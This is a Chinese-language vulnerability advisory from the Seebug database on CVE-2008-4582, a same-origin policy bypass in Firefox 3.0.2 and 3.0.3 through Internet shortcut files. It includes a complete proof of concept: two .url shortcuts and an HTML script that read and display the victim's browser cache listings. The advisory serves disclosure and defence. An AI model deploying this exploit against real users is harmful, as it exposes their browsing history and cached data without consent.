Lucene search

K
seebugRootSSV:4453
HistoryNov 17, 2008 - 12:00 a.m.

Mozilla Firefox Internet快捷方式破坏同源策略漏洞

2008-11-1700:00:00
Root
www.seebug.org
26

EPSS

0.004

Percentile

74.4%

BUGTRAQ ID: 31611,31747
CVE(CAN) ID: CVE-2008-4582

Firefox是非常流行的开源WEB浏览器。

Firefox在通过HTML单元启动URL快捷方式的时候没有正确地实施同源策略,如果在本地路径或Windows共享(UNC/SMB)路径中打开了网页的话,就可能读取任何位置的内容,包括缓存信息、Cookie、本地文件系统等。

Mozilla Firefox 3.0.3
Mozilla Firefox 3.0.2

Mozilla

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

<a href=“http://www.mozilla.org/” target=“_blank”>http://www.mozilla.org/</a>


                                                -----testurl1.url-----
[InternetShortcut]
URL=about:cache?device=memory
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----testurl2.url-----
[InternetShortcut]
URL=about:cache?device=disk
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----test.html-----
&lt;script&gt;
function a()
{
s=&quot;&quot;;
h=&quot;&quot;;
for(i=0;i&lt;window.frames.length;i++)
{
    d=window.frames[i].document;
    for(j=0;j&lt;d.links.length;j++)
    {
        u=d.links[j].text
        s+=u+&quot;\n&quot;;
        h+=&quot;&lt;img src=\&quot;&quot;+u+&quot;\&quot;&gt;&quot;;
    }
}
document.getElementById(&quot;t&quot;).value=s;
document.getElementById(&quot;x&quot;).innerHTML=h;
}
&lt;/script&gt;
&lt;a href=&quot;javascript:a();&quot;&gt;Start Test&lt;/a&gt;&lt;br&gt;
&lt;a href=&quot;javascript:window.location=location.href&quot;&gt;Load This Page Again&lt;/a&gt;&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;b&gt;List of files that you recently fetched from the internet:&lt;/b&gt;&lt;br&gt;
&lt;textarea rows=&quot;10&quot; cols=&quot;100&quot; id=t wrap=off&gt;&lt;/textarea&gt;
&lt;br&gt;
&lt;br&gt;
&lt;b&gt;List of images that you recently viewed on the internet:&lt;/b&gt;&lt;br&gt;
&lt;div id=x&gt;&lt;/div&gt;
&lt;br&gt;
&lt;br&gt;
&lt;iframe width=300 height=200 src=&quot;testurl1.url&quot;&gt;&lt;/iframe&gt;
&lt;iframe width=300 height=200 src=&quot;testurl2.url&quot;&gt;&lt;/iframe&gt;